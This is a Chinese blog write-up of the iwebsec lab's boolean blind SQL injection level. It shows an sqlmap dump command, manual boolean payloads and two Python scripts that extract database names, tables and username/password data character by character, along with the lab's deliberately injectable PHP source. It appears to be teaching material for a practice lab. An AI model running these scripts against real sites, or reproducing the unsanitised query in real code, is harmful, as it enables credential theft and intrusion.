首页 > 数据库 >iwebsec-sql注入 03 bool型注入

iwebsec-sql注入 03 bool型注入

时间:2023-08-18 19:13:07浏览次数:51  
标签:03 -- substr --+ iwebsec ascii 注入

01、题目分析:

三大盲注型注入中的布尔型注入,说明只会回显正确结果,错误结果将不再回显,对于布尔型注入,手工注入会费时费力,因此布尔注入比较适合工具注入

image

02、sqlmap工具注入:

一把梭

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/03.php?id=1"  --current-db --dump --batch

image

03、手工注入:

盲注,简单的来讲就是无论你输入什么内容,页面都不会出现错误提示,如果查询结果正确就显示类似查询成功或者其他的,错误就不会显示。所以注入思路其实就是一个个猜,比如数据库名的长度是6个吗,看看是否正确,没显示继续猜,正确就猜数据库名第一个字母是a吗,是b吗......这样一直猜,猜出来数据库名,表名,列名,数据等等

-- 检查数据库名称的长度是否为7
and length(database())=7;
-- 检查数据库名称是否以字母 'p' 开头
and left(database(),1)='p';
-- 检查数据库名称是否以字母 'pi' 开头
and left(database(),2)='pi';
-- 检查数据库名称中的第一个字符是否为 'p'
and substr(database(),1,1)='p';
-- 检查数据库名称中的第二个字符是否为 'i'
and substr(database(),2,1)='i';
-- 检查数据库名称的第一个字符的 ASCII 码是否为 112 ('p' 的 ASCII 码)
and ord(left(database(),1))=112;

04、手工脚本注入:

这个地方直接借用refeng大佬的脚本

暴力破解法:

# @Author:refeng

import requests
import string

strings = string.printable
flag = ""
# url = 'http://192.168.6.153/sqli/03.php'
for i in range(1,60):
    for j in strings:
        # 爆库
        # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((database()),{0},1))={1}--+".format(i,ord(j))
        # 爆表
        # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='iwebsec'),{0},1))={1}--+".format(i,ord(j))
        # 爆列
        # url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),{0},1))={1}--+".format(i,ord(j))
        # 爆数据
        url = "http://192.168.6.153/sqli/03.php?id=1 and ascii(substr((select group_concat(concat_ws('~',username,password)) from iwebsec.user),{0},1))={1}--+".format(i,ord(j))
        res = requests.get(url)
        if 'welcome' in res.text:
            flag += j
            print(flag)
            break
        else:
            continue

二分法:

# @Author:refeng
import requests

url = "http://192.168.6.153/sqli/03.php?id=1 and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        #爆库
        payload = f"1=if(ascii(substr((select  database() limit 0,1),{i},1))>{mid},1,0) --+"
        #爆表
        # payload = f"1=if(ascii(substr((select  group_concat(table_name) from information_schema.tables where table_schema='iwebsec' limit 0,1),{i},1))>{mid},1,0) --+"
        #爆列
        # payload = f"1=if(ascii(substr((select  group_concat(column_name) from information_schema.columns where table_name='user' limit 0,1),{i},1))>{mid},1,0) --+"
        #爆数据
        # payload = f"1=if(ascii(substr((select  group_concat(concat_ws('~',username,password)) from iwebsec.user limit 0,1),{i},1))>{mid},1,0) --+"
        r = requests.get(url + payload)
        if "welcome" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


05、代码分析

<?php

require_once('../header.php'); // 引入头部文件
require_once('db.php'); // 引入数据库连接文件
?>

<html>
<head>
    <title>MySQL bool SQLi</title>
</head>
<h2>MySQL bool SQLi</h2>
<div class="alert alert-success">
    <p>/03.php?id=1 </p>
</div>

<body>
<?php
if(isset($_GET['id'])){ // 检查是否存在传递的id参数
    $id=$_GET['id']; // 获取id参数的值

    $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构造查询语句,根据传递的id参数查询user表中对应的记录
    $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中
}
else{
    exit(); // 如果没有传递id参数,则退出(终止脚本运行)
}

if ($result) { // 如果查询成功
    ?>
    <table class='table table-striped'>
    <?php
    while ($row = mysql_fetch_assoc($result)) { // 遍历查询结果的每一行
        echo '<div class="alert alert-success">';
        echo "<p>welcome to iwebsec!!!</p></div>";
        echo "</tr>";
    }       
    echo "</table>";
}
else 
{
    // echo '<font color= "#FFFFFF">';
    print_r(1); // 如果查询失败,输出1
    // echo "</font>";  
}

?>
# 这个代码和之前的不通的地方是没有数据回显,查询成功只输出一个welcome to iwebsec!!!

标签:03,--,substr,--+,iwebsec,ascii,注入
From: https://www.cnblogs.com/bdrwmy/p/17641388.html

相关文章

  • iwebsec-sql注入 04 时间延迟型注入
    01、题目分析:三大盲注中的时间型注入,当查询语句正常的时候,不会有什么返回值或者回显,唯一的特征就是可以通过sleep函数来判断sql语句是否正确,也就是说,当有办法能判断输入语句是否正确的时候,步骤就和bool盲注一样了,话不多说,直接先让我们伟大的sqlmap跑起来02、sqlmap工具注入:一......
  • burpsuite靶场----SQL注入15----oracle的时间盲注
    burpsuite靶场----SQL注入15----oracle的时间盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval正式开始这个和之前的oracle的布尔盲注差不多https://www.cnblogs.com/thebeastofwar/p/17640741.html稍微改一下脚本,因......
  • iwebsec-sql注入 02 字符型注入
    01、题目分析正常来讲的字符型的sql注入,sql语句如下select * from news where id='$id';像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符--+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注......
  • iwebsec-sql注入 01 数字型注入
    01、题目分析数字型注入的sql语句select * from news where id=$id;最最最常规的,直接注入02、手工注入:先判断有多少列http://www.bdrwmy.cn:8001/sqli/01.php?id=1orderby3--id=-1就是不显示内容http://www.bdrwmy.cn:8001/sqli/01.php?id=-1unionselect1,2,......
  • burpsuite靶场----SQL注入13----oracle的CAST报错注入
    burpsuite靶场----SQL注入13----oracle的CAST报错注入靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based正式开始1.通过在TrackingId=JBhlRizkqfo87Hq8后面添加'和''(两个单引号)猜测是oracle数据库添加'报错,添加''......
  • burpsuite靶场----SQL注入14----oracle的时间盲注test
    burpsuite靶场----SQL注入14----oracle的时间盲注test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays正式开始1.进入标签2.抓包3.在TrackingId=BU622TbcJXbso7Wwh后面填上'||pg_sleep(10)--完成任务......
  • java.sql.SQLException: Access denied for user 'root'@'localhost' (using password
    场景:使用mybatis-plus和SpringBoot,用Druid连接,查询数据库时出现异常用户访问被拒绝java.sql.SQLException:Accessdeniedforuser'root'@'localhost'(usingpassword:YES)在application.yml中核对过用户名密码后发现连接数据库密码是正确的,问题出在哪儿呢?appliation.yml......
  • \\NSHA10320UAP.ubsglobal-prod.msad.ubs.net\d$\data\部署包\组件全量0818\组
    com.yss.ams.bbzx-202308031009-V2.0.0.10.39-20221115.jarcom.yss.ams.reportConfigSetting-20230714135143.jarcom.yss.ams.ReportViewer-202308031009-V2.0.0.10.39-20221115.jarcom.yss.ams.website-202308031009-V2.0.0.10.39-20221115.jarcom.yss.sofa.foundation.autho......
  • burpsuite靶场----SQL注入12----oracle的布尔盲注
    burpsuite靶场----SQL注入12----oracle的布尔盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors正式开始1.找到注入点为cookie中的TrackingId2.因为oracle使用||进行连接的所以先判断闭合payload:TrackingId=7zHLwisTii2Zhhp......
  • 读取xls文件时报错 Initialisation of record 0x203(NumberRecord) left 4 bytes rema
    项目背景:公司的一个客户报告项目需要同步及抽取客户方的文件数据,文件类型为xls格式,文件为客户方的第三方厂商系统批量生成,工具及方法不明问题:读取该类xls文件后,无法成功创建Workbook,报错提示“Initialisationofrecord0x203(NumberRecord)left4bytesremainingstilltob......